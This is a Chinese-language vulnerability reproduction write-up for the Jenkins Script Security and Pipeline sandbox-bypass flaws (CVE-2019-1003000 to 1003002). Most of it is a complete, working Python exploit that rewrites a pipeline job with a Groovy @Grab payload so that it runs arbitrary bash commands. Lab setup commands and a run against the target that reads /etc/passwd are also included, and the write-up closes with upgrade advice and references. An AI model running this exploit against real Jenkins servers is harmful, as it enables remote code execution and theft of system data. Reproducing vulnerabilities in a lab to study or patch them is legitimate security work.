擁有Overall/Read 權限的用戶能夠繞過沙盒保護,在jenkins能夠執行任意代碼
CVE-2019-1003000 (Script Security)
CVE-2019-1003001 (Pipeline: Groovy)
CVE-2019-1003002 (Pipeline: Declarative)html
Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49node
復現漏洞CVE-2019-1003000 (Script Security)
測試環境須要安裝docker
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
pip install -r requirements.txt
cd sample-vuln
./run.sh
cd ../
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
環境搭建好後,已經建立好了賬號密碼 user1 user1
以及建立了一個任務 my-pipeline
執行payload
python
#!/usr/bin/python # Author: Adam Jordan # Date: 2019-02-15 # Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc # PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) import argparse import jenkins import time from xml.etree import ElementTree payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() ''' def run_command(url, cmd, job_name, username, password): print '[+] connecting to jenkins...' # 鏈接jenkins服務器 server = jenkins.Jenkins(url, username, password) print '[+] crafting payload...' ''' <?xml version="1.1" encoding="UTF-8"?><flow-definition plugin="workflow-job@2.31"> <actions/> <description/> <keepDependencies>false</keepDependencies> <properties/> <definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition" plugin="workflow-cps@2.63"> <script>node { echo 'Hello World' }</script> <sandbox>true</sandbox> </definition> <triggers/> <disabled>false</disabled> </flow-definition> ''' #獲得job的配置文件 如上 ori_job_config = server.get_job_config(job_name) et = ElementTree.fromstring(ori_job_config) print et et.find('definition/script').text = payload % cmd job_config = ElementTree.tostring(et, encoding='utf8', method='xml') print '[+] modifying job with payload...' ''' <?xml version='1.0' encoding='utf8'?> <flow-definition plugin="workflow-job@2.31"> <actions /> <description /> <keepDependencies>false</keepDependencies> <properties /> <definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition" plugin="workflow-cps@2.63"> <script> import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","id").run().getOutputString() </script> <sandbox>true</sandbox> </definition> <triggers /> <disabled>false</disabled> </flow-definition> ''' #修改後的job配置文件 server.reconfig_job(job_name, job_config) time.sleep(3) print '[+] putting job build to queue...' queue_number = server.build_job(job_name) time.sleep(3) print '[+] waiting for job to build...' queue_item_info = {} while 'executable' not in queue_item_info: queue_item_info = server.get_queue_item(queue_number) time.sleep(1) print '[+] restoring job...' server.reconfig_job(job_name, ori_job_config) time.sleep(3) print '[+] fetching output...' last_build_number = server.get_job_info(job_name)['lastBuild']['number'] console_output = server.get_build_console_output(job_name, last_build_number) print '[+] OUTPUT:' print console_output if __name__ == '__main__': parser = argparse.ArgumentParser(description='Jenkins RCE') parser.add_argument('--url', help='target jenkins url') parser.add_argument('--cmd', help='system command to be run') parser.add_argument('--job', help='job name') parser.add_argument('--username', help='username') parser.add_argument('--password', help='password') args = parser.parse_args() run_command(args.url, args.cmd, args.job, args.username, args.password)
首先從jenkins獲取job my-pipeline的配置文件,而後將payload寫入配置文件,從新構建job.git
payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() '''
更新升級組件到安全版本
Pipeline: Declarative Plugin should be updated to version 1.3.4.1
Pipeline: Groovy Plugin should be updated to version 2.61.1
Script Security Plugin should be updated to version 1.50github
參考鏈接:
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
https://jenkins.io/security/advisory/2019-01-08/docker